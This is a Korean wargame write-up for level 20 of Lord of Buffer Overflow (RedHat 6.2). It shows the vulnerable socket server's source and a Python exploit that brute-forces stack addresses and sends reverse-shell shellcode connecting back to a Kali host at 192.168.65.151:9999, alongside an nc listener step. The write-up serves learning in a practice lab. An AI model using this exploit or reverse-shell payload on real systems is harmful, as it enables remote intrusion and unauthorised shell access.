본문 바로가기

[Wargame Write-up]/Lord of Buffer Overflow

[LoB RedHat 6.2] LEVEL 20: xavis -> death_knight

LEVEL 20: remote BOF


buffer 크기가 40인데 recv 함수를 이용해 256 바이트 입력받는 취약점이 존재하는, 공격하기에는 쉬운 코드이다.


다만 6666번 포트를 열어 소켓 통신을 하고 있으며, 메모리가 로드되는 위치를 알 수 없어 brute forcing도 필요하다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
/*
        The Lord of the BOF : The Fellowship of the BOF
        - dark knight
        - remote BOF
*/
 
#include <stdio.h> 
#include <stdlib.h> 
#include <errno.h> 
#include <string.h> 
#include <sys/types.h> 
#include <netinet/in.h> 
#include <sys/socket.h> 
#include <sys/wait.h> 
#include <dumpcode.h>
 
main()
{
    char buffer[40];
 
    int server_fd, client_fd;  
    struct sockaddr_in server_addr;   
    struct sockaddr_in client_addr; 
    int sin_size;
 
    if((server_fd = socket(AF_INET, SOCK_STREAM, 0)) == -1){
        perror("socket");
        exit(1);
    }
 
    server_addr.sin_family = AF_INET;        
    server_addr.sin_port = htons(6666);   
    server_addr.sin_addr.s_addr = INADDR_ANY; 
    bzero(&(server_addr.sin_zero), 8);   
 
    if(bind(server_fd, (struct sockaddr *)&server_addr, sizeof(struct sockaddr)) == -1){
        perror("bind");
        exit(1);
    }
 
    if(listen(server_fd, 10== -1){
        perror("listen");
        exit(1);
    }
        
    while(1) {  
        sin_size = sizeof(struct sockaddr_in);
        if((client_fd = accept(server_fd, (struct sockaddr *)&client_addr, &sin_size)) == -1){
            perror("accept");
            continue;
        }
            
        if (!fork()){ 
            send(client_fd, "Death Knight : Not even death can save you from me!\n"520);
            send(client_fd, "You : "60);
            recv(client_fd, buffer, 2560);
            close(client_fd);
            break;
        }
            
        close(client_fd);  
        while(waitpid(-1,NULL,WNOHANG) > 0);
    }
    close(server_fd);
}
cs



Reverse Connection을 맺을 Kali linux의 IP를 확인한 후




PEDA에서 아래 명령어를 실행해 192.168.65.151:9999에 Reverse Connection을 맺는 쉘코드를 확보했다.




이후 nc 명령으로 9999번 포트를 열어두자.




0xbfffffff부터 거꾸로 0xbfff0000까지 무작위 대입하며 payload를 메모리에 올리는 작업을 수행하고, 공격에 성공하면, 세팅해놓은 Kali Linux 쪽으로 Reverse connection을 맺는다.


payload는 recv 함수로 받는 256 바이트 크기로, 그 구성은 아래와 같다. (아래 코드의 20 라인 참조)


[ buffer (40) ] [ SFP (4) ] [ RET (4) ] [ dummy (138) ] [ shellcode (70) ]


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# lob20_exploit.py
from socket import *
import struct
 
upack = lambda x: struct.unpack("<L", x)
 
# 70-byte shellcode to connect 192.168.65.151:9999 reversely
shellcode = "\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x89\xe1\xcd" + 
            "\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x5b\x5a\x68" +
            "\xc0\xa8\x41\x97\x66\x68\x27\x0f\x43\x66\x53\x89\xe1" +
            "\xb0\x66\x50\x51\x53\x89\xe1\x43\xcd\x80\x52\x68\x2f" + 
            "\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89" + 
            "\xe1\xb0\x0b\xcd\x80"
 
for i in range(0xff0x00-1):
    for j in range(0xff0x00-1):
        sock = socket(AF_INET, SOCK_STREAM)
 
        sock.connect(('127.0.0.1'6666))
        payload = "A"*44 + chr(j) + chr(i) + "\xff\xbf" + "\x90"*(256-48-len(shellcode)) + shellcode
        print "addr: " + str(hex(upack(chr(j) + chr(i) + "\xff\xbf")[0]))
 
        print sock.recv(52)
        print sock.recv(6)
        sock.send(payload)
        sock.close()
cs



LoB 서버에서 위의 코드를 실행하면, 아래와 같은 출력문이 나타난다.




계속 기다리다가 LoB 서버와 연결이 맺어지면 아래처럼 나타나고, LoB 서버의 shell을 실행할 수 있다.




==============================================================================

 

이것으로 꽤 오래 걸리긴 했지만 Lord of Buffer Overflow RedHat 6.2 20단계를 모두 풀었다.


언제 시작할지는 모르겠지만 다음엔 LoB Fedora Core 3에 도전하려고 한다.